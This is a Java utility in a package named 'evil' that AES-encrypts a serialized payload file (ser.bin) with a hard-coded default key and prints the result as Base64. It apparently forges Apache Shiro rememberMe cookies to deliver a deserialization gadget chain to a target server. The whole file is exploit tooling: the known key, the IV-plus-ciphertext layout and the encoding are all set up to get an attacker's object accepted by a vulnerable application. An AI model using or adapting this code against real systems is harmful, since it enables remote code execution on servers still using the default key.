package evil;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.UUID;
public class AESFileProcessor {
private static final String key = "kPH+bIxk5D2deZiIxcaaaA=="; // Base64 格式的密钥
private static final int AES_BLOCK_SIZE = 16; // AES块大小为16字节
public static void main(String[] args) throws Exception {
// 读取二进制文件内容
byte[] fileData = getFileData("C:\\Users\\xinyi\\Desktop\\java测试\\cb\\ser.bin");
// 加密
String encryptedData = aesEncrypt(fileData);
System.out.println("加密后的数据: " + encryptedData);
// 解密
// byte[] decryptedData = aesDecrypt(encryptedData);
// System.out.println("解密后的数据: " + new String(decryptedData));
}
/**
* 从文件读取数据
*
* @param fileName 文件路径
* @return 文件内容(字节数组形式)
* @throws IOException 文件读取错误时抛出
*/
public static byte[] getFileData(String fileName) throws IOException {
return Files.readAllBytes(Paths.get(fileName));
}
/**
* AES 加密
*
* @param data 明文数据(字节数组)
* @return 加密后的 Base64 数据
* @throws Exception 加密时的异常
*/
public static String aesEncrypt(byte[] data) throws Exception {
// 填充数据到 AES 块大小
byte[] paddedData = pad(data, AES_BLOCK_SIZE);
// 初始化 AES 密钥和随机生成的 IV
SecretKeySpec secretKeySpec = new SecretKeySpec(Base64.getDecoder().decode(key), "AES");
byte[] iv = UUID.randomUUID().toString().substring(0, AES_BLOCK_SIZE).getBytes(); // 生成随机 IV
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
// 使用 AES/CBC/PKCS5Padding 模式加密
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec, ivParameterSpec);
byte[] encryptedData = cipher.doFinal(paddedData);
// 将 IV 和密文拼接,并进行 Base64 编码
byte[] combinedData = new byte[iv.length + encryptedData.length];
System.arraycopy(iv, 0, combinedData, 0, iv.length);
System.arraycopy(encryptedData, 0, combinedData, iv.length, encryptedData.length);
return Base64.getEncoder().encodeToString(combinedData); // 返回 Base64 编码的加密结果
}
/**
* AES 解密
*
* @param encryptedData Base64 编码的加密数据
* @return 解密后的原始数据
* @throws Exception 解密时的异常
*/
public static byte[] aesDecrypt(String encryptedData) throws Exception {
// Base64 解码加密数据
byte[] combinedData = Base64.getDecoder().decode(encryptedData);
// 提取 IV(前16字节)和加密数据(后续字节)
byte[] iv = new byte[AES_BLOCK_SIZE];
byte[] encryptedBytes = new byte[combinedData.length - AES_BLOCK_SIZE];
System.arraycopy(combinedData, 0, iv, 0, AES_BLOCK_SIZE);
System.arraycopy(combinedData, AES_BLOCK_SIZE, encryptedBytes, 0, encryptedBytes.length);
// 初始化 AES 密钥和解密模式
SecretKeySpec secretKeySpec = new SecretKeySpec(Base64.getDecoder().decode(key), "AES");
IvParameterSpec ivParameterSpec = new IvParameterSpec(iv);
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
cipher.init(Cipher.DECRYPT_MODE, secretKeySpec, ivParameterSpec);
// 解密数据并去除填充
byte[] decryptedData = cipher.doFinal(encryptedBytes);
return unpad(decryptedData);
}
/**
* 对数据进行填充,使长度是 AES 块大小的倍数
*
* @param data 数据
* @param blockSize 块大小
* @return 填充后的数据
*/
public static byte[] pad(byte[] data, int blockSize) {
int paddingSize = blockSize - (data.length % blockSize);
byte[] paddedData = new byte[data.length + paddingSize];
System.arraycopy(data, 0, paddedData, 0, data.length);
for (int i = data.length; i < paddedData.length; i++) {
paddedData[i] = (byte) paddingSize;
}
return paddedData;
}
/**
* 去除填充
*
* @param data 数据
* @return 去除填充后的数据
*/
public static byte[] unpad(byte[] data) {
int paddingSize = data[data.length - 1];
byte[] unpaddedData = new byte[data.length - paddingSize];
System.arraycopy(data, 0, unpaddedData, 0, unpaddedData.length);
return unpaddedData;
}
}